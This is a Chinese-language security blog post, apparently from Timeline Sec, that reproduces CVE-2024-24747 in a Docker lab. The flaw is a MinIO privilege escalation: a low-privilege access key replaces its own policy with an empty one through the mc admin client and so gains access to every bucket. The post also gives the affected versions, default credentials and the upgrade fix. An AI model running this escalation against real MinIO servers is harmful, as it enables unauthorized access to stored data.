关注我们❤️,添加星标🌟,一起学安全!
作者:Limerence@Timeline Sec
本文字数:1587
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
MinIO 是一种高性能、Amason的S3分布式对象存储。专为大规模AI/ML、数据和数据库工作负载而构建,并且它是由软件定义的存储。
Minio 可以做为云存储的解决方案用来保存海量的图片,视频,文档。由于采用 Golang 实现,服务端可以工作在 Windows,Linux, OS X 和 FreeBSD 上。配置简单,基本是复制可执行程序,单行命令可以运行起来。
0x02 漏洞概述
Minio创建访问密钥时权限继承存在问题,当用户创建访问密钥时,会继承父密钥对s3:*和admin:*的操作权限,如果在访问密钥的权限中未明确拒绝admin权限,访问密钥则能够修改自身权限。攻击者可利用该漏洞提升权限,访问所有部署区域。
0x03 影响版本
Minio < RELEASE.2024-01-31T20-20-33Z
0x04 环境搭建
docker部署
linux通过apt默认安装docker
apt install docker.io
apt install podman-docker
拉取minio镜像
docker pull minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
RELEASE.2024-01-31T20-20-33Z.fips: Pulling from minio/minio
ea29d36b883e: Pull complete
0359d5a5b787: Pull complete
4d3b519e3b96: Pull complete
991cf94c1e6a: Pull complete
5fc1cd481df4: Pull complete
e5cfc0ab0589: Pull complete
Digest: sha256:cae79732d3a0e12791fc003739127b219dcd528d088b771436f8173ead8d5356
Status: Downloaded newer image for minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
docker.io/minio/minio:RELEASE.2024-01-31T20-20-33Z.fips
创建docker容易挂在目录
mkdir -p /redteam/minio/config(存放配置文件)
mkdir -p /redteam/minio/data(上传文件的目录)
创建minio容器并运行
docker run
-p 19000:9000
-p 9090:9090
--net=host
--name minio
-d --restart=always
-e "MINIO_ACCESS_KEY=minioadmin"
-e "MINIO_SECRET_KEY=minioadmin"
-v /redteam/minio/data:/data
-v /redteam/minio/config:/root/.minio
minio/minio server
/data --console-address ":9090" -address ":19000"
命令 | 描述 |
---|---|
-p 19000:9000 -p 9090:9090 | 这是端口映射,前一个是服务器的端口,后一个是客户端也就是api接口访问的端口地址 |
--name minio | 这是给新创建的容器命名的选项,名字是 "minio" |
--net=host | 这是网络设置,表示容器将使用主机的网络栈,这样就不需要在容器内部配置网络 |
-d --restart=always | 这是运行容器的其他选项,-d使容器在后台运行,--restart=always表示容器总是会在退出后自动重启 |
-e "MINIO_ACCESS_KEY=minioadmin" | 用户名 |
-e "MINIO_SECRET_KEY=minioadmin" | 密码 |
-v /opt/minio/data:/data | 这意味着将宿主机上的 /opt/minio/data 目录挂载到容器内的 /data 目录 |
-v /opt/minio/config:/root/.minio | 将宿主机上的 /opt/minio/config 目录挂载到容器内的 /root/.minio 目录 |
minio/minio server /data --console-address ":9090" -address ":19000" | 这是容器内要运行的命令,启动一个名为 "minio" 的服务器,数据存储在 /data 目录下,服务器的控制台地址为 ":9090",服务地址为 ":19000" |
换行 |
访问:http://127.0.0.1:9090/login
使用默认用户名密码登录:minioadmin/minioadmin
创建存储桶public和private
创建一个名为"YBPIq4HFF4ewdGhBgYN3"的访问密钥,并附加一下策略
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:*"
],
"Resource": [
"arn:aws:s3:::public",
"arn:aws:s3:::public/*"
]
}
]
}
0x05 漏洞复现
前提:已知低权限accesskey和secretkey
安装mc(minio client)客户端工具
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x mc
mv mc /usr/local/bin/
mc --version
配置alias
┌──(root㉿kali)-[~/minio-client]
└─# mc alias set poc http://127.0.0.1:19000 accesskey secretkey
Added `poc` successfully.
显示只有public权限
┌──(root㉿kali)-[~/minio-client]
└─# mc ls poc
[2024-03-17 21:47:49 EDT] 0B public/
创建一个空的json文件并替换poblicy,空代表所有权限
mc admin user svcacct edit --policy ./full-access-policy.json poc01 accesskey secretkey
查看权限
# mc ls poc01
[2024-03-17 21:47:59 EDT] 0B private/
[2024-03-17 21:47:49 EDT] 0B public/
0x06 修复方式
将minio升级至 RELEASE.2024-01-31T20-20-33Z 及以上版本。
历史漏洞
CVE-2023-28432-前台-POC已公开
CVE-2022-35919-POC已公开
CVE-2021-43858-POC已公开
回复【加群】进入微信交流群
回复【SRC群】进入SRC-QQ交流群
回复【新人】领取新人学习指南资料
回复【面试】获取渗透测试常见面试题
回复【合作】获取各类安全项目合作方式
回复【帮会】付费加入SRC知识库学习
回复【培训】获取官方直播精品课程详情
视频号:搜索TimelineSec
官方微博:#小程序://微博/tPbUYdN9EucSD4C
哔哩哔哩:https://space.bilibili.com/524591903
原文始发于微信公众号(Timeline Sec):CVE-2024-24747:MINIO权限提升漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论